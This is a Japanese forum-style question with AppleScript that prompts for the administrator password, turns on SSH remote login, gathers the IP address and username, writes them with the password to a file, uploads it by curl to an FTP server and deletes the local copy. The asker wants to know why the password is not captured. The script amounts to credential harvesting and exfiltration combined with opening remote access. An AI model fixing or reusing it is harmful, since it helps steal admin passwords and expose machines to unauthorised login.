サーバーに送信されるテキスト ファイルに 3 つの変数を渡そうとしていますが、変数の 1 つ (pword) が送信されません。
以下は私のコードです:
set pword to do shell script "echo" with administrator privileges
##Enable remote login
do shell script "launchctl load -w /System/Library/LaunchDaemons/ssh.plist" user name (short user name of (system info)) password pword with administrator privileges
##Get ip
set tIP to do shell script "ifconfig en0|grep 'inet '|cut -d ' ' -f 2"
##Get username
set userName to short user name of (system info)
##Create text file with user data
do shell script "echo " & tIP & userName & pword & ">> /Users/" & userName & "/Documents/tests.txt"
##Create path where user data is stored
set thePath to "/Users/" & userName & "/Documents/tests.txt"
##Send the data to the server
do shell script "curl -T " & thePath & " ftp://username:password@server"
##Delete the text file
do shell script "rm /Users/" & userName & "/Documents/tests.txt"
pword ではなく、userName と tIP のみがテキスト ファイルに書き込まれる理由は何ですか?
ありがとう。